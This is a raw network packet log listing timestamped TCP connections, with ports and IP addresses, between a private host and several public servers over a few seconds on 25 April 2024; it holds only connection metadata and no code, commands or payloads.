Apr 25, 2024 21:44:59.948925018 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.948930979 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.948964119 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.949244022 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.949748993 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.949804068 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.949840069 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.949846029 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.949867964 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.949891090 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.950212955 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.950236082 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.950270891 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.950277090 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.950301886 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.950320005 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.951016903 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.951036930 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.951085091 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.951091051 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.951118946 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.951139927 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.953138113 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.960308075 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:59.964148998 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.964184999 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.964202881 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.964211941 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:45:00.070292950 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:45:00.077229977 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077326059 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077327967 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.077346087 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077406883 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.077466011 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077518940 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.077575922 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077634096 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.077872038 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077925920 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077930927 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.077938080 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.077975035 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.078900099 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.078922033 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.078986883 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.079001904 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079041958 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.079593897 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079617023 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079660892 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079664946 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.079674006 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079693079 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.079710960 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.079718113 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079756975 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.079775095 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.079819918 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.080014944 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.080027103 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.117700100 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.118110895 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.118132114 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.118606091 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.119234085 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.119323015 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.119399071 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.120815039 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.121023893 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.121064901 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.121390104 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.121867895 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.121934891 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.122232914 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.133946896 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.134067059 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.134141922 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.135462046 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.135474920 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.164120913 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.168131113 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.342108965 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:45:00.342138052 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:45:00.342197895 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:45:00.458915949 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.459034920 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.459090948 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.815731049 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.815771103 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.815833092 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.816361904 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:00.816375971 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:00.850452900 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:00.850508928 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:00.992544889 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:00.992630005 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:00.992726088 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:00.993427992 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:00.993448973 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:00.997441053 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:00.999468088 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:00.999501944 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:00.999747992 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:00.999775887 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.052197933 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.052357912 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.052445889 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.076296091 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.128797054 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.129771948 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.129789114 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.130253077 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.133265018 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.133336067 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.145251989 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.147824049 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.147850990 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.188122988 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.233078003 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.257268906 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.257333994 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.260894060 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.260946035 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261250019 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.261286020 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261533022 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261580944 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261610985 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261611938 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.261625051 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261727095 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261756897 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261785030 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.261795044 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261856079 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261889935 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261895895 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.261903048 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.261979103 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.262007952 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.262065887 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.262090921 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.262099028 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.262182951 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.262283087 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.262346983 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.262448072 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.262455940 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.262455940 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.262473106 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.262578011 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.262902021 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.263132095 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.263165951 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.263192892 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.263192892 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.263205051 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.263220072 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.263490915 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.263498068 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264013052 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264046907 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264117956 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264152050 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.264158964 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264214993 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.264223099 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264343977 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.264702082 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264897108 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264931917 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264972925 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.264992952 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.265001059 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.265028000 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.265036106 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.265144110 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.265151978 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.265897989 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.265978098 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266005993 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266006947 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.266016960 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266252041 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.266258001 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266556025 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.266798019 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266905069 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266936064 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.266942024 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.266998053 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.271593094 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.271593094 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.271809101 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.321257114 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.321316957 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.334851027 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.335361958 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.335386038 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.336879015 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.337095022 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.348658085 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.348658085 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.348835945 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.371172905 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.371282101 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.371314049 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.373399019 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.377861023 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.395101070 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:01.395169973 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:01.395361900 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:01.396002054 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:01.396034002 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:01.397248983 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:01.397294998 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:01.408531904 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.408555031 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.457251072 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.462826014 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.462845087 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.462856054 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.462922096 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.462934971 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.462944031 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.463069916 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.463069916 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.463093996 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.463205099 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.541338921 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.541359901 CEST	49731	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.541385889 CEST	443	49731	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.541429996 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.541914940 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.555047035 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.555121899 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.555206060 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.555412054 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.589260101 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.589346886 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.593650103 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.599591970 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.599627972 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.600274086 CEST	49733	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:45:01.600322962 CEST	443	49733	152.199.4.44	192.168.2.5
Apr 25, 2024 21:45:01.601332903 CEST	49734	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:45:01.601349115 CEST	443	49734	104.26.13.205	192.168.2.5
Apr 25, 2024 21:45:01.632024050 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:01.636321068 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:01.636351109 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:01.637917995 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:01.638027906 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:01.864727974 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.865030050 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.865091085 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.865477085 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.866044998 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.866045952 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:01.866085052 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.866141081 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:01.911092043 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.052125931 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.052364111 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.052472115 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.052515030 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.100276947 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.133059025 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.133081913 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.133143902 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.133174896 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.133198023 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.133251905 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.190680027 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.190776110 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.190834999 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.521280050 CEST	49735	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.521353960 CEST	443	49735	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.524482965 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.524529934 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.524596930 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.569032907 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.569089890 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.582567930 CEST	49736	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.582650900 CEST	443	49736	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.612987041 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.613044977 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.613120079 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.613593102 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:02.613611937 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.794219017 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:02.846170902 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:02.871830940 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:02.926666021 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.003972054 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004036903 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.004118919 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004276991 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004368067 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.004406929 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004431009 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004437923 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.004492998 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004900932 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.004928112 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.005060911 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:03.005110979 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.005397081 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.005511045 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.005527973 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.005531073 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.005585909 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.005726099 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.005733967 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.005856991 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.005862951 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.005897999 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.005914927 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.006356955 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.006371021 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.006725073 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.006731987 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.006931067 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.006947994 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.008276939 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:03.008351088 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.008493900 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:03.008740902 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.008816004 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.008900881 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.009358883 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.009372950 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.009516001 CEST	49740	443	192.168.2.5	69.164.216.107
